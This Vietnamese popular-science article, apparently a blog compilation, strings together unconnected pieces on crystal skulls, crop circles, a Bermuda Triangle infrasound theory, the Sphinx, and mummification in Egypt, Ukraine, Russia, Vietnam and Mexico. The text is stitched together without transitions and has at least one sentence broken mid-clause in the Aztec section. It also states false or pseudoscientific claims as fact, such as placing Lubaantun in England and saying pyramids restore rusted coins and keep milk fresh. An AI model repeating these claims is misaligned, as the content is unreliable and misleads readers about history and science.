13 friday

Năm 1927, hai cha con nhà khảo cổ học người Anh là Mixin Haiđơ Jidơ và Anna, tại khu phế tích thành cổ Lôba Antômô nơi gần thành phố Hatơri nước Anh đã tiến hành khảo sát và tìm thấy một đầu người thủy tinh nặng khoảng 5kg. Đó là một khố thủy tinh phỏng theo xương đầu người chế tác ra. Xương mũi được lắp ghép bởi ba mành thủy tinh, hố mắt là một viên thủy tinh tròn, răng được gắn ngay ngắn vào xương hàm.

Cuốn sách "Nguy hiểm lắm, con đường của tôi" xuất bản năm 1954 đã nhận định rằng, xương đầu người bằng thủy tinh này do người cổ chế tạo ra cách đây hơn 3.600 năm: Theo giám định của các nhà khảo cổ học, chiếc sọ người thủy tinh này phải tốn thời gian 150 năm mới được chế tác xong. Sau khi đục khắc xong còn được dùng cát để đánh bóng. Trước khi được khai quật, nó đã được chôn dưới đất chí ít cũng đã 3.600 năm.

Một số nhà khảo cổ khác không đồng ý với cách suy luận đó. Họ cho rằng, những người cổ đại sống cách đây 3.600 năm bị hạn chế bởi điều kiện khoa học kỹ thuật lúc bấy giờ ở trình độ rất thấp, không thể chế tạo được sọ người thủy tinh tinh xảo đến thế.

Viện bảo tàng nhân loại học của Pháp cũng lưu giữ một sọ người thủy tinh. Theo khảo chứng của một số nhà khoa học Pháp: Chiếc sọ người thủy tinh đó qua giám định khoa học, được xác định là do người Aztech, tức người Anhđiêng - Mexico chế tạo ra vào thế kỷ 14 hoặc thế kỷ 15. Phân tích từ góc độ lịch sử và tôn giáo, nó có thể là vật trang sức của mục sư Aztech, của người Anhđiêng cúng tế. Gần quanh nơi tìm thấy sọ người thủy tinh, người ta cũng tìm thấy rất nhiều công cụ đồ đồng cỡ nhhỏ nhưng rất tinh xảo. Xem ra, sọ người thủy tinh rất có khả năng do người Aztech dùng công cụ bằng đồng để chế tạo nên.

Một số học giả tán thành quan điểm trên, họ cho rằng thế kỷ 14 và 15, người Aztech đã có trình độ phát triển khá cao, họ đã chế tạo được đồ gốm với đặc trưng màu nâu vân đen, tạo hình mỹ quan, đường vân đa dạng, phức tạp, từ những bản vẽ hình học phát triển tới việc tả thực hoa lá, chim cá, côn trùng, họ còn biết sử dụng đồng thiên nhiên để rèn thành công cụ, dùng lông chim cắm vào để tạo ra vật trang sức. Năm 1978, trong khai quật khảo cổ, Mexico lại phát hiện một tảng đá điêu khắc nặng khoảng 10 tấn, đường kính 11 thước Anh được gọi là "Đá Mặt Trăng". Đó là tảng đá được người Aztech chế tác vào năm 1470. Từ những bằng chứng trên, có thể chứng minh rằng, trình độ khoa học kỹ thuật của người Aztech tinh chắc rằng linh hồn sống mãi, và họ theo tín ngưỡng đa thần (Thần Mặt Trời, thần Mặt Trăng, Thần Mưa,...). Khi tế thần họ dùng người sống để làm vật hiến tế. Sọ người thủy tinh này có thể là một trong những vật phẩm được họ dùng để tiến hành những hoạt động tế thần.

Nhưng một số học giả tỏ ra hoài nghi, thậm chí phủ định quan điểm trên. Họ cho rằng, vào thế kỷ 14 và 15, công cụ sản xuất và vũ khí của người Aztech thường vẫn là đồ đá và đồ gỗ. Lúc bấy giờ họ đang ở giai đoạn liên minh bộ lạc, đang trong thời kỳ từ xã hội nguyên thủy quá độ tiến lên buổi đầu của chế độ nô lệ, còn thiếu hẳn kỹ nghệ điêu khắc ở trình dộ cao, rất khó có thể chạm khắc được sọ người thủy tinh sinh động như vậy.

Viện bảo tàng Anh quốc cũng lưu giữ một sọ người thủy tinh. Trong đêm tối không có ánh đèn, chiếc sọ vẫn phát ra ánh sáng trắng lóa mắt, hiển hiện một vẻ khủng khiếp giống hình một ác quỷ nhe răng trợn mắt. Chiếc sọ thủy tinh này được mua lại tại hiệu châu báu Tiphanni ở NewYork năm 1898. Theo lời người chủ hiệu thì nó được một người lính bán cho chủ hiệu vào cuối thế kỷ 18. Một số nhà khảo cổ cho rằng, đó là tác phẩm của người Adôđê (châu Mỹ La-tinh), chế tác từ thời thực dân. Nhưng đó cũng chỉ là một giả thuyết, chứ chưa phải là kết luận nhất trí của giới khảo cổ học.

Cho đến nay cả 3 chiếc sọ người thủy tinh trên đều chưa rõ lai lịch, không biết người nào chế tác ra chúng vào thời gian nào, có mục đích và ý nghĩa gì? Đến nay thế giới đang chờ các nhà khảo cổ học nghiên cứu tìm ra câu trả lời thỏa đáng.

Có rất nhiều kiểu hình tròn khác nhau. Đơn giản nhất là một hình tròn với các bông lúa nằm rạp xuống ở bên trong, nhưng chúng không hề bị gãy mà chỉ quấn quanh rễ. Cũng có khi vòng tròn xuất hiện ở dạng kép, các bông lúa ở vòng ngoài cũng quấn quanh rễ, nhưng lại ngược chiều với lúa ở vòng trong. Đôi khi, bao quanh vòng tròn trung tâm là một loạt các vòng nhỏ (vệ tinh), thường được nối với vòng chính bằng những "con kênh". Trong trường hợp khác có thể thấy những vòng tròn nhỏ với những bông lúa không quấn quanh rễ, mà nằm ngả giữa vòng trung tâm với vòng lớn ngoài cùng.

Lúc đầu, người ta tưởng rằng vòng tròn kỳ lạ chỉ xuất hiện ở miền nam nước Anh. Nhưng khi báo chí bắt đầu viết về nó thì rất nhiều tin tức tương tự từ khắp nước Anh và các nước khác cũng được đăng tải. Các giả thuyết liên tục được đề cử, từ nguyên nhân do đàn nhím hay chồn phá hoại, đến dấu vết để lại của đĩa bay; từ hậu quả của cuộc chiến giữa các đàn chim cho đến việc lúa bị lây bệnh do nấm; từ việc bón quá nhiều phân cho đến việc thử nghiệm những loại vũ khí mới.

Pat Delgaldo và Colin Endrius đưa ra giả thuyết vòng tròn chính là một dạng ghi chép bí mật của vũ trụ tối cao. Trong khi đó, những bộ tộc da đỏ vùng Arizona thì cho rằng đó là những ký hiệu báo trước về một hiểm họa chết người đang đe dọa thế giới.

Một giả thuyết khác thuyết phục hơn là của giáo sư tiến sĩ Miden, người Anh. Theo ông, trên đường đi của những cơn gió giật, nếu có những ngọn núi nằm chắn ngang, sẽ tạo nên các xoáy khí. Kết quả là không khí thẳng đứng ở phía khuất gió của ngọn núi bị xoáy thành hình trôn ốc, xiết chặt không khí bên trong và tạo nên một luồng điện khí quyển. Khi hiện tượng này xảy ra trên cánh đồng, thì luồng khí xoắn trôn ốc sẽ làm cho các bông lúa rạp xuống đất và tạo nên các vòng tròn. Cùng với việc tạo thành các luồng điện, còn xuất hiện một âm thanh gió rít chói tai ngay trước khi các vòng tròn được tạo thành.

Lý thuyết của Miden không chỉ làm sáng tỏ các quá trình vật lý của sự tạo thành các vòng tròn mà còn giải thích được những trường hợp các hình ảnh kỳ lạ này xuất hiện ngay trước mắt của người chứng kiến.

Điều này đã xảy ra vào tháng 8/1991 khi Harri và Vivien Tomlison sống ở Hambldon đang dạo chơi ngoài cánh đồng. Bất chợt họ được chứng kiến một cảnh tượng rất lạ ở cánh đồng lúa mỳ phía bên phải. Một đám sương mù che phủ và họ nghe thấy một âm thanh kỳ lạ rít lên. Tiếp đó, sau lưng họ một cơn lốc nổi lên với sức gió mạnh đến nỗi khó khăn lắm họ mới đứng vững được. Mái tóc Harri tập trung nhiều điện tích nên dựng ngược hết trên đầu. Và cũng đột nhiên gió xoáy giảm hẳn rồi biến mất. Sương mù tan đi, để lại hai người nằm ở trung tâm một vòng tròn giữa những bông lúa ngả rạp xuống.

Tam giác quỷ Bermuda từng được đề cập đến như một vùng chết chóc, gây ra biết bao thảm họa cho tàu thuyền và máy bay qua lại. Gần đây, các nhà khoa học lại đưa ra thêm một giả thuyết mới để giải thích tính chất kỳ bí của khu vực này.

Bermuda là vùng ven biển Bắc Mỹ ở khu vực nằm giữa mũi Gatterac, bán đảo Florida và quần đảo Cuba. Xét về cấu trúc địa lý và khí hậu, đây là một vùng gần giống như tấm gương phản chiếu rộng lớn. Các cơn bão xuất phát từ Đại Tây Dương tạo nên luồng sóng hạ âm cực mạnh, bị phản hồi từ khu vực phản xạ này và hội tụ vào khu vực Tam giác quỷ. Kích thước rộng lớn của các cấu trúc hội tụ cho phép đưa ra giả thuyết tại đó có những khu vực phản xạ mà sóng hạ âm có thể đạt tới cường độ rất lớn và là nguyên nhân gây nên các hiện tượng quái dị.

Như chúng ta đã biết, sóng hạ âm cường độ lớn gây nên cảm giác sợ hãi và ý muốn bứt phá ra khỏi không gian khép kín. Dĩ nhiên, hành vi đó là hậu quả của phản ứng trực cảm đã hình thành từ rất lâu trong quá khứ tiến hoá của con người, mỗi khi bị tác động của sóng hạ âm hình thành trước lúc nổ ra các vụ động đất. Chính phản xạ này đã khiến cho các kíp máy bay và hành khách bị hốt hoảng và vội vã nhảy ra khỏi con tàu.

Dòng xoáy hạ âm của cơn bão hội tụ vào khu vực Tam giác quỷ. Khi cộng hưởng với nhịp sinh học của con người, sóng hạ âm có cường độ cao có thể gây chết người ngay tức khắc. Sóng hạ âm có thể là nguyên nhân dao động cộng hưởng của cột buồm trên thuyền và làm cho chúng gãy vụn. Hiện tượng tương tự cũng xảy ra khi sóng hạ âm cộng hưởng với độ rung của các yếu tố cấu trúc của máy bay. Sóng hạ âm cũng có thể là nguyên nhân hình thành một lớp sương mù dày đặc có màu đục như sữa trên đại dương và nhanh chóng biến mất. Độ ẩm của khí quyển tích tụ lại trong giai đoạn giãn nở có thể không kịp tan ra trong không khí ở giai đoạn nén tiếp theo, nhưng đồng thời có thể biến mất ngay tức khắc khi không có sóng hạ âm. Cuối cùng, sóng hạ âm có tần số 5-7 Hz có thể cộng hưởng với dao động cơ học, với con lắc đồng hồ có cùng tần số dao động và gây nên tác động phá huỷ. Điểm xuất phát của huyền thoại về trận gió hú rùng rợn, gây cảm giác sợ hãi do sóng hạ âm mạnh gây ra có thể là các hiện tượng tương tự xảy ra ở Tam giác quỷ. Các cấu trúc có tính chất hội tụ tương tự cũng có thể có ở các khu vực khác nhau trên hành tinh.

Sóng hạ âm có thể truyền dưới nước, còn cấu trúc hội tụ có thể hình thành ở thềm lục địa. Nguồn gốc của các sóng hạ âm cũng có thể là các núi lửa hoạt động ngầm dưới biển và động đất. Dĩ nhiên, hình dạng của các tấm gương phản chiếu sóng hạ âm ở thềm lục địa không hoàn chỉnh. Với kích thước tương đương bước sóng, cấu trúc thềm lục địa cũng có thể có tính chất cộng hưởng. Cần phải nghiên cứu mối liên hệ giữa tham số của các nguồn phát ra sóng hạ âm và sự phân bố cường độ sóng hạ âm trong mỗi một khu vực bị nghi là có hiện tượng dị thường. Quy luật hình thành các khu vực nguy hiểm quyết định tính chất của các biện pháp phòng ngừa.

Ảnh hưởng của sóng hạ âm đối với con người không chỉ hạn chế ở tác động trực tiếp đối với cơ thể, như đối với hệ thần kinh. Trong quá trình tiến hoá của con người, chắc chắn đã hình thành một trung tâm xúc cảm với sóng hạ âm nhằm báo động trước động đất và núi lửa. Tập hợp các phản ứng cần phải có khi xảy ra tác động bên ngoài vào trung tâm này có thể xác định được, khi biết chức năng của các phản ứng đó là để bảo đảm con người sống sót an toàn mỗi khi bị các tai nạn tương tự. Vậy đó là phản ứng gì? Có thể nêu tên các phản ứng sau: né tránh không gian khép kín để không bị rơi vào tình trạng chết chất đống, xu hướng chạy ra xa các đối tượng có thể bị đổ vỡ. Nói tóm lại, con người có xu hướng chạy đi bất cứ đâu để tránh khu vực có thảm họa. Dĩ nhiên, tất cả những hành động đó đều kéo theo cảm xúc sợ hãi.

Có thể quan sát được các phản ứng tương tự ở nhiều động vật, như chó biết cứu các em nhỏ trước khi xảy ra động đất. Đồng thời, khi bị tác động trực tiếp vào cơ thể, sẽ xuất hiện các phản ứng không cụ thể như suy kiệt, mệt mỏi và rối loạn giống như khi bị tác động của tia X quang và sóng vô tuyến tần số cao. Ngày nay, con người đã không còn nhạy cảm với sóng hạ âm, nhưng khi bị tác động của sóng hạ âm cường độ lớn, hệ thống bảo vệ từ xa có thể bị kích động và lấn át khả năng hành động tỉnh táo. Nếu sự sợ hãi không phải do các biểu tượng bên ngoài gây ra thì có thể xuất phát từ bên trong. Con người sẽ cảm thấy một xúc cảm sợ hãi vô thức. Điều này được chứng minh qua những lời nói cuối cùng của các phi công và thuỷ thủ khi bị chết trong vùng Tam giác quỷ, như: "Bầu trời thật khác lạ", "Mặt biển thật khác lạ, một điều khủng khiếp đang xảy"... Nếu sự sợ hãi do các biểu tượng bên ngoài gây nên thì những người dũng cảm đã quen với nỗi sợ hãi có thể kịp phát đi các thông báo cụ thể. Phụ thuộc vào cường độ của sóng hạ âm, những người ở trên tàu có thể cảm thấy sợ hãi ở các mức độ khác nhau. Họ có thể ngồi vào xuồng bơi khỏi tàu hoặc chạy lên bong. Với cường độ sóng hạ âm cực lớn, họ có thể bị chết như đã từng được mô tả.

Tượng Sphinx nằm ở sa mạc Ai Cập cách thủ đô Cairo khoảng 8 dặm, được người xưa dùng để canh gác ba kim tự tháp lớn ở Gizah. Đó là một quái vật tạc bằng đá, đầu người mình sư tử với những chân có vuốt trải ra phía trước.


Tượng Sphinx (Ảnh: bigpond)

Hình tượng chạm trổ sơ sài nhưng đầu lại được tạc một cách rất công phu. Đôi mắt đầy vẻ bí hiểm và có cái nhìn không ai có thể giải thích nổi. Mắt con Sphinx nhìn chằm chằm ra phía sa mạc với cái vẻ kênh kiệu khó hiểu. Tượng cao hơn 18 mét và trải dài tới 57 mét, mặt có bề ngang 5 mét, tại 1,57 mét, mũi 1,7mét.

Người ta cho rằng tượng Sphinx đã tồn tại ít nhất 5.000 năm nay! Tại sao lại thiết kế tượng này? Một bằng chứng mà ta có được xuất phát từ việc tìm thấy một am thờ nằm giữa những cái chân của quái vật này. Am thờ nhỏ này có bút tích của hai vị hoàng đế cổ Ai Cập. Hai vị giải thích rằng tượng Sphinx biểu thị một trong những hình dạng của thần Mặt trời Harmachis. Và hai vị còn nói rằng mục đích làm tượng Sphinx là để xua đuổi tất cả những điều bạo ác, tội lỗi khỏi khu nghĩa địa quanh kim tự tháp.

Ở Ai Cập có nhiều tượng Sphinx, ngoài tượng Sphinx lớn ở Gizah. Đầu tượng biểu thị các vị hoàng đế. Trong các sách thánh của người Ai Cập, Sphinx có nghĩa là “vua chúa”.

Đối với các tôn giáo nguyên thủy ở Ai Cập cũng như ở các nơi khác, nhà vua được coi là sức mạnh và sự khôn ngoan của nhiều con thú bằng cách khoác cái lốt của chúng. Vì vậy người Ai Cập đã chạm các vị thần và các vị hoàng đế của họ nửa người, nửa thú.

Quan niệm về Sphinx đã từ Ai Cập truyền tới các nền văn minh khác, chẳng hạn như Assyria và Hy Lạp. Ở các vùng này, Sphinx thường có thêm cánh. Ở Assyria Sphinx thường là đàn ông, nhưng ở Hy Lạp Sphinx lại có đầu đàn bà.

Người Hy Lạp có một câu chuyện truyền thuyết về Sphinx như sau: Sphinx sống trên một tảng đá và giết bất cứ người nào đi qua mà không trả lời được câu đố sau đây: “Cái gì đã đi bằng bốn chân vào buổi sáng, đi bằng hai chân vào buổi trưa, đi bằng ba chân vào ban đêm?”. Ocdipus trả lời rằng đó là con người, bò bằng cả bốn chân tay khi là đứa trẻ, đi thẳng người trên hai chân khi là người lớn và đi với cây gậy khi đã già.

Đó là câu trả lời đúng, do đó con Sphinx điên tiết lên đã lao từ trên tảng đá xuống và chết. có nguồn khác thì cho rằng: do Sphinx là học trò của nữ thần thông thái ! nữ thần từng phán rằng, nếu ai giải được câu đó của Sphinx thì Sphinx sẽ phải chết!

Cách trung tâm thành phố Kiép thủ đô nước Cộng hòa Ukraina khoảng 50 km về phía bắc có một nhà mồ nổi tiếng bởi có hàng trăm xác ướp nhưng kỳ lạ vì những xác ướp lại được bảo quản trong một điều kiện hết sức đơn giản của tự nhiên chứ không phải trong những Kim tự tháp.

Bên cạnh dòng sông hung dữ là một dãy núi cao sừng sững. Người xưa đào vào lòng đất những đường hầm rộng và rích rắc chạy dài theo triền núi. Cách một đoạn, phần thành hầm ở trên cao được khoét vuông vắn sâu thêm vào lòng đất vừa vặn đặt được một cỗ quan tài và đó chính là nơi yên nghỉ của người quá cố. Gọi là quan tài nhưng không có tấm ván thiên mà chỉ có một khung và lưới hình chóp chữ nhật cụt hay hình vòm mà qua tấm lưới có thể chiêm ngưỡng rất rõ ràng dung mạo người quá cố. Có khi, quan tài một khúc gỗ khoét lõm và khung lưới đặt trực tiếp lên trên, nom như chiếc “giường”.


Xác ướp tại Viện bảo tàng Ai Cập.
(Ảnh: 2travel2egypt)

Tất cả những chiếc “giường ngủ” ở đây đều được trang trí rất đẹp. Đi trong nhà mồ có cảm giác mát lạnh. Tất cả những xác chết ở đây đều cùng một màu nâu đen khô quắt lại. Lạ là không có dù chỉ là tí chút mùi của chết chóc, ngay đến cả mùi ẩm mốc cũng không hề có. Lũ trẻ tan học về trên đường ngang qua nhà mồ thường vứt cặp sách trên mặt đất rồi chạy xuống nhà mồ chơi trò đuổi bắt như thể đây là một chỗ vui chơi của chúng. Thỉnh thoảng lại có những người đến thăm người quá cố là tổ tiên của họ...

Người ta thấy rằng trong Kim tự tháp Ai Cập có những hiện tượng kỳ lạ. Chẳng hạn để trong tháp một đồng tiền kim loại đã rỉ, chừng hơn một tháng sau nó sáng lại như còn mới. Sữa tươi vừa vắt ra từ một con bò nếu để bên ngoài tháp thì hỏng, còn để trong tháp mùi vị vẫn bình thường với khoảng thời gian như nhau. Trái cây và rau xanh để trong tháp khoảng 15 ngày vẫn tươi, không khô héo. Hai cây cà chua cùng trồng một lúc, cây trong tháp ra hoa kết quả trước cây ngoài trời...

Nhưng đó là không khí bên trong Kim tự tháp, những công trình kiến trúc vĩ đại cả về văn hóa, tiền của, sức người, trí tuệ, thời gian xây dựng cũng như tồn tại và đặc biệt được cho là hấp thụ “sóng vũ trụ” nào đó qua các cửa và lỗ thông hơi hướng về phương Bắc, nên mới tạo ra một môi trường có thể gìn giữ thi thể các Pharaoh hàng nghìn năm. Còn ở đây rõ ràng không phải Kim tự tháp, mà chỉ là một nhà mồ được đào trong lòng đất hết sức mộc mạc, nhưng những xác người ở đây đã tồn tại hàng nghìn năm...

Điều gì làm các xác chết trường tồn với thời gian? Do thuật ướp xác? Do môi trường lưu giữ xác? Hay vì cả hai? Đó là những câu hỏi lớn mà sau nhiều thập kỷ tìm tòi vẫn chưa có lời giải đáp hoàn toàn chính xác. Hiện thời, đã biết nhiều cách ướp xác khác nhau và mặc nhiên thừa nhận đi tiên phong trong lĩnh vực này nói riêng và y học nói chung là người Ai Cập cổ đại.

Nhiều thành tựu y học ghi trên giấy papyrus chứng tỏ người Ai Cập cổ hiểu biết khá rõ về cơ thể người. Họ rất coi trọng việc thờ người chết vì cho rằng, người tuy chết nhưng linh hồn là bất tử. Trong mỗi con người đều có một hình bóng giống như mình khi soi gương gọi là linh hồn (ka), khi ra đời linh hồn chui vào thân xác, khi chết linh hồn rời khỏi xác nhưng vẫn tồn tại. Linh hồn chỉ bị chết hẳn khi thể xác hủy nát. Nếu thân xác nguyên vẹn thì đến một lúc nào đó linh hồn lại nhập vào xác và con người sẽ sống lại. Tín ngưỡng này thể hiện trong chuyện thần thoại về Thần Orisis (Thần sông Nin) và Thần Seth (Thần Sa mạc).

Thuật ướp xác đã ra đời như thế và được cho là xuất hiện từ thời kỳ Cổ vương quốc (khoảng 3000 – 2200 TCN) và duy trì đến TK V. Người chuyên nghề ướp xác dùng một cái móc đưa qua đường mũi lên đầu để lấy hết não, rồi rửa sạch khoang sọ bằng một loại nước sắc nhiều cây cỏ thơm và rượu... Ngực và bụng được mổ bằng dao đá rất sắc để lấy hết phủ tạng, chỉ còn tim được giữ nguyên trong lồng ngực vì tim được coi là nơi sinh ra thông minh và tình cảm nên phải được giữ lại để chờ ngày phán xử cuối cùng.

Khoang ngực, bụng cũng được đổ đầy nước hương liệu và rượu rồi khâu lại. Xác được ngâm trong nước muối khoảng 70 ngày nên teo nhỏ lại chỉ còn da bọc xương. Sau đó được xoa bằng dầu thơm và một dung dịch đặc biệt rồi được bó chặt bằng vải, có khi ngực, bụng còn được nhồi mạt cưa tẩm hương liệu (lại có nhà nghiên cứu cho rằng, sau khi xử lý não và phủ tạng, xác được chôn hoặc đặt trong hang không có gió khoảng 70 ngày, rồi bó bằng vải tẩm nhựa cây). Các ngón tay được lồng vào túi bằng vàng để khỏi rơi rụng. Đầu quan tài (bằng đá) người ta tạc khuôn mặt người quá cố, thân quan tài chạm hình quần áo để dễ nhận ra phần xác của mình, vì thế nhìn quan tài có hình người không có tay chân, bên cạnh mồ còn dựng tượng người chết bằng đá hoặc gỗ.


Xác ướp của một Pharaoh (Ảnh: crystalinks)

Thuở sơ khai, ướp xác là một nghi táng bất khả xâm phạm của Vua và Hoàng hậu. Từ khoảng 1500 năm TCN, giới quý tộc mới được phép dùng nghi táng này. Sau đó tục này lan đến những người giàu có và đến cả tầng lớp bình dân. Tuy nhiên, trong tục này cũng có phân biệt đẳng cấp: Vua chúa dùng kỹ thuật ướp phức tạp nhất, sau đến giới quý tộc và nhà giàu, tất nhiên phải trả một khoản tiền lớn, còn tầng lớp bình dân thì không phải trả tiền nhưng kỹ thuật ướp đơn giản nhất bằng dung dịch kiềm tính, và trát một lớp vôi bên ngoài.

Năm 1996, ở gần vùng El Bawiti phát hiện khoảng 10.000 xác ướp có niên đại 300 năm TCN đến 300 sau CN. Viện Bảo tàng Ai Cập ở Cairo hiện đang trưng bày xác ướp 26 Pharaoh cách chúng ta khoảng 4.000 – 5.000 năm nhưng tình trạng các xác vẫn rất tốt. Gần đây, các nhà khảo cổ Nhật Bản khai quật một xác ướp nguyên vẹn trong một ngôi mộ chưa bị xâm hại ở Nam Đasơ, Ai Cập. Ông Sakugi Yosimura, nhà nghiên cứu hàng đầu Đại học Oaxeđa, Tokyo cho biết, xác người đàn ông này được ướp trước triều đại Pharaoh Tulankhamen (khoảng 1336 – 1327 TCN).

Người Ukraina và châu Âu có cách ướp xác riêng của mình hay học của người Ai Cập? Câu hỏi này hiện vẫn chưa có lời giải đáp thỏa đáng. Nhưng người ta thiên về giả thiết thứ hai bởi thời Cổ đại, phương Đông và phương Tây với hai nền văn minh rực rỡ đã có sự giao lưu. Người Phenixi (Liban ngày nay) đã đi lại buôn bán khắp Địa Trung Hải từ TK XI TCN; đến TK VI TCN.

Các nhà khoa học Hy Lạp cổ đại Pitago, Talet đã đi du lịch Ai Cập, Lưỡng Hà; TK V TCN nhà sử học Hy Lạp Herodot đi du lịch nhiều nơi ở phương Đông. Cuối TK IV TCN, Alexandre Makedonia chinh phục phương Đông (đến tận tây bắc Ấn Độ) gọi là thời kỳ Hy Lạp hóa (334 – 30 TCN) và hình thành những quốc gia Hy Lạp hóa trong đó có Ai Cập. Có lúc Ai Cập chỉ là một tỉnh của La Mã.

Thời kỳ Trung đại, châu Âu suy thoái nên lạc hậu hơn phương Đông về mọi mặt. Nhà nước Arập thành lập từ TK VII, đến TK VIII trở thành một đế quốc rộng lớn trải dài trên ba châu Á, Âu, Phi từ lưu vực sông Indus đến Tây Ban Nha và là cầu nối giữa các nền văn minh Ấn Độ, Trung Quốc, Tây Âu nên việc học tập, trao đổi lẫn nhau những thành tựu khoa học, trong đó có cách ướp xác là một tất yếu. Do phát động của Giáo hoàng La Mã, từ TK XI – XIII các nước Tây Âu đã có 8 cuộc viễn chinh phương Đông bởi những kị sĩ trên áo có hình cây thánh giá. Các cuộc thập tự chinh cũng là một cầu nối khác cho văn minh Đông – Tây.

Tuy nhiên, ở nước Nga xưa kia có một cách ướp xác hoàn toàn khác với phương pháp truyền thống do nhà khoa học, bác sĩ Vyvodxev phát minh sử dụng chất hóa học, đó là các chất Glycerin, acid Phenic, cồn và long não.

Cho đến nay, phương pháp này mới chỉ phát hiện được duy nhất một xác ướp là nhà phẫu thuật Nga nổi tiếng thế giới N.I.Pirogov. Xác ướp nhà phẫu thuật đã qua 124 năm và chỉ được bảo quản sơ sài trong hầm mộ một nhà thờ nhỏ ở ngoại ô Vinxina, dù khuôn mặt và hai bàn tay của ông để hở trong không khí nhưng màu sắc hầu như không biến đổi.

Điều đặc biệt là các phủ tạng của Pirogov vẫn được giữ nguyên trong cơ thể? Thế nhưng, hiện thời vẫn chưa biết được tỉ lệ các chất mà Tiến sĩ Vyvodxev đã pha chế thành dung dịch ướp và cách xử lý cũng như những cách bảo vệ xác mà ông đã sử dụng

Ở Việt Nam, nhiều người đã biết đến hai pho tượng giáp cốt ở chùa Đậu, Thường Tín, Hà Tây, là xác ướp để trong môi trường không khí bình thường chịu nhiều tác động thường xuyên và lâu dài của nhiệt độ, độ ẩm không khí, nghĩa là điều kiện bảo quản xác khó nhất. Những pho tượng xác ướp như thế này có thể thấy ở Tây Tạng, Nhật Bản, Việt Nam thường là di cốt những nhà sư chân tu.

Năm 2005, khi khai quật ở cánh đồng đào Nhật Tân, Hà Nội đã mục sở thị một xác ướp khô nhưng vẫn nguyên vẹn sau 10 ngày lộ thiên chịu tác động của nắng mưa. Dù tấm thiên đã bị phá, nước đã vào quan tài nhưng xác ướp cách chúng ta khoảng 200 năm vẫn khô quắt, nguyên vẹn cả nội tạng, râu tóc; quần áo, chăn gối, vải chèn vẫn còn giữ được màu trắng. Đặc biệt là từ những đồ liệm này bay ra một mùi thơm và còn lưu lại rất lâu. Các nhà khảo cổ Việt Nam đã lập hồ sơ 75 ngôi mộ xác ướp nhưng chưa có điều kiện khai quật. Họ cho rằng, cách ướp xác thường được sử dụng ở Trung Quốc và Việt Nam là phương pháp ngâm xác vào dung dịch ướp và cũng là trong môi trường yếm khí (không có không khí).


Xác ướp khai quật ở Nhật Tân (Hà Nội) sau 10 ngày lộ thiên ngấm nước
vẫn còn nguyên vẹn. (Ảnh: CAND)

Cốt lõi của phương pháp ướp này là làm cơ thể trở thành môi trường vô khuẩn. Khi người được ướp xác hấp hối thì cho uống thuốc hồi dương (chủ yếu là quế chi) để nhiệt độ cơ thể giảm chậm trong một thời gian sau khi chết và hạn chế vi khuẩn đường ruột. Lúc ngừng thở sẽ đổ khoảng một lít rượu nếp mạnh vào miệng để sát khuẩn đường tiêu hóa. Người ta cho rằng rượu có tác dụng giữ cho mô cơ thể không bị phân hủy. Người quá cố được tắm bằng nước ngũ vị hương nhằm diệt khuẩn trên da, rồi mặc quần áo tẩm hương liệu, liệm bằng nhiều lớp vải lụa để tránh không khí tác động và nhập quan rất nhanh. Áo quan phải ghép rất kín và sơn trong ngoài để lượng không khí trong áo quan thấp nhất. Trong quan tài ngôi mộ Nhật Tân có dịch màu xanh đen xỉn được cho là dung dịch ướp. Cách ướp này thường sử dụng tinh dầu mà ngày nay phân tích biết là tinh dầu thông, bạch đàn, khuynh diệp, những chất lưu giữ mùi thơm rất lâu. Những phát hiện trên đã khẳng định người Việt Nam xưa đã nắm được kỹ thuật ướp xác hoàn hảo và tinh tế. Chỉ tiếc là hiện các nhà khoa học chưa tìm được bằng chứng về nguồn gốc và bí mật thuật ướp xác của người Việt.

Những xác ướp tự nhiên dưới góc nhìn pháp y

Ở thành phố Guanajuato, Mexico có một nghĩa địa lưu giữ 117 xác chết khô đét như được ướp, xác chết cách chúng ta nhất khoảng 140 năm. Những xác chết này không hề được ướp mà chôn cất bình thường. Nhưng do khí hậu ở đây rất khô và trong đất có rất nhiều chất khoáng, nên xác chôn không hề phân hủy mà teo quắt lại và rất rắn. Dân chúng lấy nơi đây để mai táng những ai không muốn trở về “cát bụi”. Hiện tượng này có thể giải thích đầy đủ là do khí hậu khô nóng, đất có nhiều khoáng chất là môi trường mà vi khuẩn không thể hoạt động được. Vì thế xác không bị phân hủy mà dần khô đét lại.


Một xác ướp tại thành phố Guanajuato, Mexico (Ảnh: rayjeanne)

Các nhà pháp y gọi những trường hợp này là xác tượng hóa (momification). Tuy nhiên, ở vùng khí hậu nhiệt đới gió mùa nhiệt độ và độ ẩm cao như Việt Nam vẫn có không ít những xác chết sau 3 năm chôn cất thông thường hoặc lâu hơn vẫn còn nguyên vẹn phần mềm mà nhân dân thường gọi là mả kết, và hiện tượng này được gán cho những ý nghĩa không đúng theo quan niệm mê tín của mình.

Khi người chết được chôn cất theo phương pháp truyền thống xưa nay, nếu nhiệt độ, môi trường thuận lợi, các loại vi khuẩn có sẵn trong cơ thể, trong đất sẽ sinh sôi rất nhanh và phần mềm của xác là nguồn dinh dưỡng lý tưởng để chúng phát triển. Nơi chôn cất nhiều nước thì phần mềm càng tiêu biến nhanh. Tuy nhiên, nếu vùng đất mai táng có nhiều ion natri, kali, canxi, manhê, mangan, sunfat... ngoài việc có tác dụng sát khuẩn trong đất, các ion này ngấm vào cơ thể và liên kết với chất glycerin, axít béo phân hủy từ mỡ để thành xà phòng gọi là hiện tượng xà phòng hóa.

Hầu hết các xác đều có hiện tượng này nhưng vì chất xà phòng ít, không đủ để ngăn cản tác động phân hủy của vi khuẩn, cuối cùng chỉ còn lại phần cứng. Một số ít xác xà phòng hóa mạnh toàn bộ nên cơ thể trở thành môi trường sát khuẩn hữu hiệu. Da xác có màu vàng, cứng, khó cắt, mùi khó chịu. Vai trò phân hủy phần mềm rất cần thiết và duy nhất chỉ có vi khuẩn làm được không còn ý nghĩa. Vì thế sau ba năm thay áo cho người chết thấy vẫn còn nguyên vẹn.

Tương tự, ở vùng núi đá vôi có hiện tượng xác hóa đá mà vai trò chính là ion canxi và sunfat. Nếu chôn cất ở nơi cao, khô nóng xác cũng phân hủy rất chậm... Người giám định pháp y thấy được giá trị bảo tồn những thương tích, bệnh lý ở các xác dạng này để tính toán có nên khai quật giúp cho điều tra vụ án? Còn người dân giải thích hiện tượng bằng quan niệm mê tín của mình!

Kiên Cường

